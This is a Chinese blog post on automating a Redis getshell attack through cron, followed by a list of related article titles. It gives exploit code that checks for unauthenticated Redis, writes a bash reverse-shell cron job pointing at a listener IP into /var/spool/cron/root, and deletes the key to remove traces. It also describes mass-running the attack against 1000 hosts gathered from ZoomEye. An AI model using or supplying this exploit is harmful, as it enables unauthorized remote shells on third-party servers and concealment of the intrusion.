Redis Getshell自动化实践之cron
来源:互联网 发布:汕头文化 知乎 编辑:程序博客网 时间:2024/06/14 02:06
利用流程
1 通过redis未授权访问漏洞,向redis插入一条记录,内容是反弹shell的定时任务
2 通过redis数据导出功能,将含有定时任务代码的数据导出到/var/spool/cron/root
3 监听端口,获取shell
编写exp
完整代码:
https://github.com/Xyntax/POC-T/blob/master/script/redis-cron-getshell.py
和之前的ssh-key相比简单了点.
首先判断是否存在未授权访问
r = redis.Redis(host=ip, port=port, db=0, socket_timeout=10)if 'redis_version' in r.info():
构造定时任务代码
listen_ip = '115.28.1.1'listen_port = 9999payload = '\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/{ip}/{port} 0>&1\n\n'.format(ip=listen_ip,port=str(listen_port))
写入/var/spool/cron/root
path = '/var/spool/cron'name = 'root'key = randomString(10)r.set(key, payload)r.config_set('dir', path)r.config_set('dbfilename', name)r.save()
清除痕迹
r.delete(key)r.config_set('dir', '/tmp')
这里没有验证是否真正能反弹,如果有需要的话可以把定时任务代码改成ping,然后使用cloudeye(api已集成到工具中)等dns日志工具做验证.
测试
加载1000个ZoomEye采集的redis站点,也可以使用--api --dork
参数直接从ZoomEye采集
然后监听端口,一会就会有shell自动连过来
看下我们之前写入的文件
0 0
- Redis Getshell自动化实践之cron
- Redis Getshell自动化实践之SSH key
- Redis Getshell自动化实践之webshell
- redis getshell总结
- redis save漏洞getshell redis使用安全
- 自动化单元测试实践之路
- redis渗透中的getshell问题总结
- redis渗透中的getshell问题总结
- Redis集群搭建之Redis Cluster实践
- Redis 实践之安装运行
- Redis实践之 配置文件解析
- Redis 实践之集群方案
- Redis实践之HA方案
- 【Spring MVC实践】之自动化测试
- 接口自动化测试之http请求实践
- Logstash 实践之Redis日志解析
- Linux cron服务与系统自动化管理
- IBM Rational 最佳实践之“需求管理”和“自动化测试”
- Layout
- 情商面试题
- 忘记Oracle数据库管理员密码的解决办法
- pythonx新手看《机器学习实战》之读取文件
- Verilog实现分频器
- Redis Getshell自动化实践之cron
- Google论文(1) GFS:Google文件系统 - 思维导图
- 黑马程序员:学生爆满很苦恼,暑期活动不能少!
- DuiLib——几种控件的常规属性介绍
- oracle rac与oracle单实例做dataguard
- php利用正则表达式删除字符串里的重复元素
- Java 使用反射和Poi将任意类导出为Excel
- ORACLE 权限管理(针对开发人员)
- Jenkins + gitlab hook配置